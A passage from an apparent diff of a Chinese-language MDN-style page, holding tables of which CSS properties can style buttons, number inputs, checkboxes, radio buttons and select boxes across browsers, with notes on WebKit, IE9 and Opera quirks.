255, 102); vertical-align: top;">Partial</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 <code>-webkit-appearance:none</code> 才能将这个属性应用到搜索域上。</li> + <li>在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 <code>background:none</code> 已应用。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 <code>-webkit-appearance:none</code> 才能将这个属性应用到搜索域上。</li> + <li>在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 <code>background:none</code> 已应用。</li> + <li>在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Buttons">Buttons</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>查看{{cssxref("line-height")}} 的注意事项。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td> + <ol> + <li>在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Number">Number</h3> + +<p>在实现了 <code>number</code> 组件的浏览器上,并没有一种标准的方式改变数字组件的样式,值得注意的是 Safari 上的数字输入框不在这个范围内。</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>查看{{cssxref("line-height")}} 的注意事项。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td colspan="1" rowspan="3"> + <p>支持,但浏览器之间的不一致性太多,所以并不可靠。</p> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + </tr> + </tbody> +</table> + +<h3 id="Check_boxes_and_radio_buttons">Check boxes and radio buttons</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>一些浏览器会添加额外的边缘,另一些会拉伸组件。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>一些浏览器会添加额外的边缘,另一些会拉伸组件。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> +</table> + +<h3 id="Select_boxes_(single_line)">Select boxes (single line)</h3> + +<p>Firefox 不提供任何方式改变 {{HTMLElement("select")}} 元素的下箭头。</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[2]</sup></td> + <td> + <ol> + <li>属性可以应用,但 Mac OSX 上浏览器之间的以不一致的方向显示,所以并不可靠。</li> + <li>这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 不支持将这个属性用于 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和 {{HTMLElement("optgroup")}} 元素;Mac OSX 上基于 WebKit 的浏览器不支持将这个属性应用于 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>只有 Firefox 提供了对这个属性的完全支持。Opera 根本不支持这个属性,而其他浏览器只提供了对 {{HTMLElement("select")}} 元素的支持。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td> + <ol> + <li>大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。</li> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td> + <ol> + <li>大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。</li> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Select_boxes_(multiline)">Select boxes (multiline)</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Opera 在 {{HTMLElement("select")}} 元素上 不支持 {{cssxref("padding-top")}} 和 {{cssxref("padding-bottom")}} 。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>查看{{cssxref("line-height")}} 的注意事项。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 在 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和{{HTMLElement("optgroup")}} 